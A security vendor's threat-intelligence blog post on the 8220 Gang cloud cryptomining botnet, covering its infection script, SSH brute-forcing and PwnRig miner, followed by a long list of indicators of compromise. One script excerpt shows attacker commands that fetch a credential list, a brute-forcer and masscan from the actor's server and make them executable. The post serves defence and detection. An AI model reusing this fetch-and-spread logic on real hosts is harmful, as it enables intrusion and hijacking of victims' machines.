


From the Front Lines | 8220 Gang Massively Expands Cloud Botnet to 30,000 Infected Hosts

 sentinelone.com/blog/from-the-front-lines-8220-gang-massively-expands-cloud-botnet-to-30000-infected-hosts

July 18, 2022



Over the last month a crimeware group best known as 8220 Gang has expanded their botnet to roughly 30,000 hosts globally through the use of Linux and common cloud application vulnerabilities and poorly secured configurations. In a recent campaign, the group was observed making use of a new version of the IRC botnet, PwnRig cryptocurrency miner, and its generic infection script.

8220 Gang is one of the many low-skill crimeware gangs we continually observe infecting cloud hosts and operating a botnet and cryptocurrency miners through known vulnerabilities and remote access brute forcing infection vectors. While the group has operated for years, by mid 2021, the botnet was observed operating with roughly 2000 hosts globally. This month, we observed new campaigns utilizing long-running sets of infrastructure, bringing the botnet numbers up to today's figure of around 30,000 infected hosts.

8220 Gang Massively Expands Cloud Botnet to 30,000 Infected Hosts

By Tom Hegel



Who Are the 8220 Gang?

8220 Gang, also known as 8220 Mining Group, was first publicly reported by Talos in 2018. The name 8220 Gang comes from the group's original use of port 8220 for C2 network communications. The group has evolved somewhat from their original interests and the use of "WhatMiner", which was forked from another group known as Rocke. The targeting of Docker, Hadoop, Redis, Drupal, and other services has been a continuing trend since their first discovery. Based on Talos' discovery of Github repository details and infrastructure, the group is believed to be a Chinese-speaking threat actor.

Victims of 8220 Gang are typically, but not exclusively, users of cloud networks operating vulnerable and misconfigured Linux applications and services. Attacks make use of SSH brute forcing post-infection to automate local and global spreading attempts. Victims using cloud infrastructure (AWS, Azure, GCP, Aliyun, QCloud) are often infected via publicly accessible hosts running Docker, Confluence, Apache WebLogic, and Redis. Victims are not targeted geographically, but simply identified by their internet accessibility. At the time of writing, roughly 30,000 systems globally have been potentially infected with the 8220 Gang botnet.

8220 Cloud Botnet Infection Script

The infection script acts as the main code for the botnet to operate. Despite its lack of detection evasion or obfuscation, the script appears to be highly effective at infecting targets. The core functionality of the script has been widely reported on for a number of years as it

has been reused by many amateur cryptocurrency mining groups and profit-seeking individuals. For that reason, researchers must be wary of attributing the script in its entirety to 8220 Gang.

We can summarize the script's actions into the following buckets:

1. Victim host preparation and cleanup, including the removal of common cloud security tools.
2. IRC Botnet malware and miner download/configuration and remediation persistence.
3. Tsunami IRC Botnet malware sample validation and connectivity.
4. Internal network SSH scanner with lateral spreading capability.
5. PwnRig cryptocurrency miner execution.
6. Local SSH key collection, connectivity testing, and lateral spreading.

The script is notoriously ugly and often contains unused or outdated functions, allowing trivial tracking over time.

```
197
198  scan(){
199  _sigx="$HOME/.ssh\lannew"
200
201 ▶ if [ $(id -u) -eq 0 ]; then ==
219 ▶ else ==
232  fi
233
234  }
235
236  scan2(){
237  _sigx="$HOME/.ssh\lan65"
238
239 ▶ if [ $(id -u) -eq 0 ]; then ==
254 ▶ else ==
271  fi
272
273  }
274
```

New and Old SSH

Scanning Functions

8220 Gang and other groups who make use of this same infection script can be observed changing it multiple times a month. In late June 2022, the group began making use of a separate file they call "Spirit" to manage some of the SSH brute forcing functionality outside of the script. Spirit contains a list of approximately 450 hardcoded credentials for SSH brute forcing. The list includes combinations of the root username, and default Linux device and application passwords.

Another evolution example is the use of block lists. 8220 Gang and others make use of block lists in the infection script to avoid infecting specific hosts, such as researcher honeypots, which may place their illicit efforts at risk. The method of implementing the block list has shifted from direct IPs listed in the script to a list in an additionally-downloaded file. The method of calling the list in the script varies across implementations.

```
_sigx="$HOME/.sshlannew"

if [ $(id -u) -eq 0 ]; then
    if [ ! -f $_sigx ]; then
        touch $_sigx
        rm -rf $DIR/open.lst $DIR/h.lst $DIR/b.lst $DIR/block.lst
        get $url/spirit $DIR/spirit || download $url/spirit > $DIR/spirit
        get $url/pasx $DIR/p.lst || download $url/pasx > $DIR/p.lst
        get $url/masscan $DIR/masscan || download $url/masscan > $DIR/masscan
        chmod +x $DIR/spirit
```

Example of blocklist functionality in recent infection scripts

What we can conclude is that the trivial design of the script allows for simple attacker experimentation, and it should not surprise researchers when specific functionality is added or reorganized.

Updated PwnRig Miner

PwnRig is a custom version of the open source XMRig miner that gained its name based on strings the author used in its early versions. More recent versions of PwnRig continue to make use of the same author name, while some functionality of the miner has been updated.

```
0049D148 Usage: pwnrig [OPTIONS]
0049D161 Network:
0049D170 -o, --url=URL           URL of mining server
0049D1A8 -a, --algo=ALGO        mining algorithm https://xmrig.com/docs/algorithms
0049D200 --coin=COIN           specify coin instead of algorithm
0049D248 -u, --user=USERNAME    username for mining server
0049D288 -p, --pass=PASSWORD    password for mining server
0049D2C8 -O, --userpass=U:P     username:password pair for mining server
0049D318 -x, --proxy=HOST:PORT  connect through a SOCKS5 proxy
0049D358 -k, --keepalive      send keepalived packet for prevent timeout (needs pool support)
0049D3C0 --nicehash         enable nicehash.com support
0049D400 --rig-id=ID         rig identifier for pool-side statistics (needs pool support)
0049D460 --tls             enable SSL/TLS support (needs pool support)
0049D4B0 --tls-fingerprint=HEX  pool TLS certificate fingerprint for strict certificate pinning
```

PwnRig Miner Execution Options – XMRig Variant

One of the notable features of PwnRig is the fake pool request for government domains.

Early 2021 versions made use of `fbi.gov` ; however, the latest version uses `fbi.gov.br` and `161.148.164.31` . While the FBI subdomain is not real, the IP address is the active IP hosting the `gov.br` domain – the true Brazil federal government domain.

Conclusion

Over the past few years 8220 Gang has slowly evolved their simple, yet effective, Linux infection scripts to expand a botnet and illicit cryptocurrency miner. From our observations the group has made changes over the recent weeks to expand the botnet to nearly 30,000

victims globally. PwnRig, the IRC Botnet, and generic infection script are all incredibly simple and used opportunistically in the groups targeting.

Indicators of Compromise

Indicator	Description
165f188b915b270d17f0c8b5614e8b289d2a36e2	Infection script, downloaded filename "jira", locally found as ".lock" (Recent)
onlypirate[.]top, jira.onlypirate[.]top, pwn.onlypirate[.]top	Actor controlled C2/Download Domain
letmaker[.]top, jira.letmaker[.]top, pwn.letmaker[.]top	Actor controlled C2/Download Domain
oracleservice[.]top, a.oracleservice[.]top, b.oracleservice[.]top, pwn.oracleservice[.]top	Actor controlled C2/Download Domain
pwndns[.]pw	IRC Botnet / Tooling Domain
givemexyz[.]in	Actor controlled C2/Download Domain
givemexyz[.]xyz	Actor controlled C2/Download Domain
bashgo[.]pw	IRC Botnet / Tooling Domain
51.255.171[.]23	IRC Botnet Server (Shared Infrastructure)
159.203.103[.]62	IRC Botnet Server (Shared Infrastructure)
a018d55214cf51f951dc5758fa818a45323db8d8	8220 Gang Associated Script
4180c193f366021f1c10890a5bcd2d3ecef47fa7	8220 Gang Associated Script
b400d9ebf27355d600b23d6b397832b1f427ff97	8220 Gang Associated Script
90b5a2cbc29f797bbe6c992f8d993ab337f1db89	8220 Gang Associated Script
e00a617be872d373f066962eb9d231482d0c7650	8220 Gang Associated Script
6f0c6c2625355b8da466127c6217f89132e13fdf	8220 Gang Associated Script
6148cd5d3193863f395c1a9675cbf20f47bb7f6e	8220 Gang Associated Script
7021e82e50b858c489659e1bd80f19049006c5f0	8220 Gang Associated Script

ca76533d3614024046b3cf2b2b166d22327bb859	8220 Gang Associated Script
09beb8d4bf01af519fc83a78adf5abf69594c080	8220 Gang Associated Script
61ac24e100dd0d3408f07b1f9e0ed7ca2e5d8db6	8220 Gang Associated Script
9229b3a232949df16772595f3fc2bb9ca14b3f86	8220 Gang Associated Script
9b5a448d335c20f23bed7ebcb983e1ea67fc7421	8220 Gang Associated Script
641b8d2ed9ed47ce90ec30f887a82cfef9db64af	8220 Gang Associated Script
26ed095c7102776ed4431e994252e97e9554d0e5	8220 Gang Associated Script
8e34816e82a189cf607187154eebee2089d75a18	8220 Gang Associated Script
c1fb3acdfd0627eedfc061e47fc0f5600254dc5b	8220 Gang Associated Script
bd8966ce091589c2b78f940bf955d0c8a4b99241	8220 Gang Associated Script
8c3beeb51860c8869a893f090756fa0dfdf691e3	8220 Gang Associated Script
da486a6ff50476c185c5118b1a8a32a5c3023d14	8220 Gang Associated Script
6ad4f21c5ac559b360ded60fb8308463552c47de	8220 Gang Associated Script
8953a9a896f90c6a1f3c8f54fd010b50920c0a6e	8220 Gang Associated Script
155b178be265fecc1d052e43a6ae13e581441d6f	8220 Gang Associated Script
8bb3c9c4036f25244a21e79723086fcec70aec77	8220 Gang Associated Script
34b747135ebb0a6a0af18ba28bf6d62359b261e0	8220 Gang Associated Script
09778a0a7af741b85bb7d022725bf25b468bba15	8220 Gang Associated Script
ac29e4a8aec19dd115a55f0adf45d8293566767a	8220 Gang Associated Script
5c53e4c53b83885e9ded6fd41ac215015539e89c	8220 Gang Associated Script
b305287aa72a74df432daf1a5b7c80c64c08dea4	8220 Gang Associated Script
79bf00fd518847886c69da3dca068c5ac2bacb80	8220 Gang Associated Script
5070e48e224627b16cf536356de89387c3c886e1	8220 Gang Associated Script
757e3f0517051272be6cc810536fd130d823ad2a	8220 Gang Associated Script
a830eb4cd77e92ee9516357cc47a5243d96fc683	8220 Gang Associated Script
4fb5b84f29d0b4ecaded0438fc9f7faca2003459	8220 Gang Associated Script

9298221acadac9b12dac4057d123ad0c05b26c22	8220 Gang Associated Script
0d780ecea75bf4cc405a777e40da46a49003cb84	8220 Gang Associated Script
99532847dee9466cbdfdb02db45a4657e45e8c34	8220 Gang Associated Script
cc9c21e5091a9e6b8d772090b7a68fa521772835	8220 Gang Associated Script
f5950d7ce28590a42a9c837dd019c04404340223	8220 Gang Associated Script
398e7149f547ec9a3181d1d033a71fdb52a7a0d	8220 Gang Associated Script
1a4cc79937adcce2f2a1c59e8a3ff8d7b75eb843	8220 Gang Associated Script
7bdd4ffa86c069f945ed8d5d9e0089f7536f112b	8220 Gang Associated Script
c9dfb589ebe9e7daf9fd00040d29bdb0ff20a8ed	8220 Gang Associated Script
3fc7734dc537c33398e885630e03d6cea08dcf1	8220 Gang Associated Script
07756ac7497f4011ce280e5f7d1d1c21ed973cd6	8220 Gang Associated Script
554677bff4a29bb286ab9d840ac7565d330a26db	8220 Gang Associated Script
b394f1c580abaac90980a868d6e6638d014b2dac	8220 Gang Associated Script
4f28f566f48580efce59908884906469063aec11	8220 Gang Associated Script
4ce0f5d71ab977ed2501e1559198684113dab48e	8220 Gang Associated Script
8f881f9f8f4754bb2949c7d825dee6035fd84d89	8220 Gang Associated Script
b8347f76903d25ea62d5b65797e8fea8b18a55f1	8220 Gang Associated Script
5cae484e9827067350bfdb5c835fad4db0fae7d8	8220 Gang Associated Script
798fbb973b7e06465779c48357e500e552a9d4eb	8220 Gang Associated Script
b8f405f77700f703fc0cd4130bac153d3515d0f4	8220 Gang Associated Script
9b93a71776480fc36b87329311772b58598bc47d	8220 Gang Associated Script
f7e4484a32a1c43f0978b0b9a779fa291d3917a0	8220 Gang Associated Script
51c829033a92963aa930e53d2b64cf61670d36fc	8220 Gang Associated Script
c31f32bb412dfc6be0c833dbcd0965a0a69b2187	8220 Gang Associated Script
dbf72af6d1e58aadba6ca0c54e31b276605e0143	8220 Gang Associated Script
6a6974167f0bb7f327c8e2ae3e773d74f379bcc7	8220 Gang Associated Script

48a94f6bd7c58f412d6c546ee296def3a8c26db6	8220 Gang Associated Script
651fdbfedbc31959b4cfbe83f01da659baec84e4	8220 Gang Associated Script
538390a7aa6e6678330b2bd775a3d9931fd177b4	8220 Gang Associated Script
094a989148421b455feb4a23460d7c833a44934b	8220 Gang Associated Script
b00d3376dbd8d9524cbab3ad52378b597d6b6c75	8220 Gang Associated Script
5cf3c2c35b26811806e421a2921ff0c2fb9f25d9	8220 Gang Associated Script
8d02d66a4ad12b5531465842124dc50e84b1db39	8220 Gang Associated Script
8dbddb5b0ef004b4608c4236d75c784a19e72e6c	8220 Gang Associated Script
ada2299756eb154b534943c31ffc46474b894dd2	8220 Gang Associated Script
a4b18e8d24a3c5cbbb1a544ba109ab49dce4ac06	8220 Gang Associated Script
0ad5316a897d4d724cb32690675941b60156a463	8220 Gang Associated Script
3a5eb4338c7d87e3dfa1ce4dea9e4c5904401f40	8220 Gang Associated Script
235b8373841e9b8bcee9517c5f2b7b8192975a53	8220 Gang Associated Script
01665c6da2a9711c1b091c50bab2272782664226	8220 Gang Associated Script
0f4eaf87aee6275c60c10b7bbf205f4968b5571b	8220 Gang Associated Script
9c34c1f55ec052ec4582b8476aa1299fc5264b42	8220 Gang Associated Script
4bd8130ea41d3b796e507f46ff0d04db8bdb326a	8220 Gang Associated Script
19958aba7665bfbe7a18e555515c8b3dd0b24fbd	8220 Gang Associated Script
aba592e4f58cb18094ed6423e4777a9f2956b6ba	8220 Gang Associated Script
c9b79d50d3588982c1a92b5533f55fe2d8a60657	8220 Gang Associated Script
52445f3e47ff90bbf6d8b46687af6ccfb8452831	8220 Gang Associated Script
caf1e814fba4d9889fa63e8e2fb7de3fc6b006aa	8220 Gang Associated Script
39eb1591ac1952cf32752abcc626da703ecb006c	8220 Gang Associated Script
63eae994b4fa5fe49e26bd00222dcf8de6e13dc5	8220 Gang Associated Script
bbbccc185f9c545fc56042baf13db5f52b17a27c	8220 Gang Associated Script
c89e70626815f2e632602046c83939fd8d5a5288	8220 Gang Associated Script

3e4c51160c74c48ee3fb02c1df21448559a51d82	8220 Gang Associated Script
4e147eeca85185dc8313770709279d31b43c7df0	8220 Gang Associated Script
2bd28b494f468a6416e297f7b4ead42a429a4683	8220 Gang Associated Script
62c9f4b9bfb86c201a54ee7ccb8ca0a01fa39517	8220 Gang Associated Script
3b1cd146b31f3b615152456c17498669547fdca5	8220 Gang Associated Script
fdc02e772b6e17f01c8cf33dd028184a5775a0bd	8220 Gang Associated Script
636d5c40108aa635feaaf2c15ddae103d746e51a	8220 Gang Associated Script
68696b704f9a6b0240316ff67984057b3f040f24	8220 Gang Associated Script
de5ea4db77f15855fea8893e4e188ccc2c85547b	8220 Gang Associated Script
34044407ff14930ae648d0167fac0e1476380ab9	8220 Gang Associated Script
a06c673ada72e8ec7214e1464b711112bbd9bcfa	8220 Gang Associated Script
de3b342dfb419d7903378ea55b8179d98ec010d7	8220 Gang Associated Script
c4851ff2ab8334918247494fb2aeec42c9c6226d	8220 Gang Associated Script
c57f3f8a4fc0d962a84887b3540788808a48519e	8220 Gang Associated Script
ce5413cc02fe84663136ecde86ba063d77077aa1	8220 Gang Associated Script
d5a3c26e5986ba9a24549abc4c96d17eaaef0659	8220 Gang Associated Script
3d8ea93c61029e266c529e1ec1f7fd1c714bd0bb	8220 Gang Associated Script
f3d132802e10b56551ed59c817cff04680e92411	8220 Gang Associated Script
acff0bc1b75127ef7502e23f46cf9acc3878766a	8220 Gang Associated Script
5e81f54164e44bd5ef8a3d97b7deb322fe88d8d7	8220 Gang Associated Script
9b3d75d00b2021e73bb9138501c3cda5eeaead03	8220 Gang Associated Script
08fab9009dcac6e5a9fa265a5f1e1c015f33f21a	8220 Gang Associated Script
3f27ec4f8d4b1df58b41c9e3be8f444596e0a921	8220 Gang Associated Script
445913e819d166ca72e7d1c7b250b398cf3c0deb	8220 Gang Associated Script
8487ecfbaa456787afbdde178b7e2e140970a38e	8220 Gang Associated Script
f5ac085147a9e4da35838ea97da7d89de51f9715	8220 Gang Associated Script

8c7c2a7f1872428b5a1e00431ba97f5f5211aab5	8220 Gang Associated Script
575f9441effcb0688d564733e4cc58743d565a6c	8220 Gang Associated Script
76ecb74747254b857b0822514e53d0b5f7a81d1c	8220 Gang Associated Script
9fba0735cf24a06142d9485d22a17b022b3ea725	8220 Gang Associated Script
ed5af8e2ab526991d583631e517cd613ebdc1b41	8220 Gang Associated Script
2ddcdddf05bbc40477e7dfb071d8e4b3eaa0cd7	8220 Gang Associated Script
d61e00bce386a03aaa0efde9ade31e23bb2795f0	8220 Gang Associated Script
9e3194736c344b909addad65f6e69a627adba599	8220 Gang Associated Script
5dc23d673198a13e27e543927a4abd79770ccdaa	8220 Gang Associated Script
7fa2baab95c40550164e5bfd4c4057e82a4b41ce	8220 Gang Associated Script
55d640f245dcc7a43e4535f89993da272ae10479	8220 Gang Associated Script
80c35fc7eb4738878dcd2c9e8fa6e95799278dd8	8220 Gang Associated Script
e601833f18a35b2308504521532c284cf53a95da	8220 Gang Associated Script
f712066871d6bede64a95a7636795e70fb3f8ac9	8220 Gang Associated Script
e82970f8c693f636104690476f66b37c49949c18	8220 Gang Associated Script
7cdd222e2b4ec9896c53f24381efc6a02c6d1932	8220 Gang Associated Script
a0a0e2201501a20b77f5194f41b85416dd4ddcb0	8220 Gang Associated Script
ac3268c067851e7b74d9fc334d2134bfd0037a8e	8220 Gang Associated Script
5d6a8c0437bdf30079188283b0e60d063e649f27	8220 Gang Associated Script
58ff71135673fad731ae07bb510a46e7184f0b1f	8220 Gang Associated Script
ddde688f6afdf65de7019cefd7c3b08604a0bc3	8220 Gang Associated Script
800c962a8d57669cd27d68b4205a997c2d86b7c6	8220 Gang Associated Script
44eb23838bcacfc094f6f9f1a0f8bc27e807e4f	8220 Gang Associated Script
90263a77a622a5464ff2c9470b9c40aa324e471d	8220 Gang Associated Script
ba6528c2c49337868dda95ca82f877c4e72f64ec	8220 Gang Associated Script
45b5c636223fe224d065f856fbb30596cb14b37f	8220 Gang Associated Script

78f5d9412655e94284b55292370f2387ebbf52fc	8220 Gang Associated Script
e6e29b66c3b0a1a051d001eec24f64b8fa4da184	8220 Gang Associated Script
5e2a6277c7e526734ce1cec573c829fe5c9adfd0	8220 Gang Associated Script
aafb88c74d5fce9ffc7632c00330e94d6f80b853	8220 Gang Associated Script
490e4bc10302b43aa00c510e457026e8546a91fc	8220 Gang Associated Script
87ed8ddca4a5d3f1d7267941ce1d817c0c5a7795	8220 Gang Associated Script
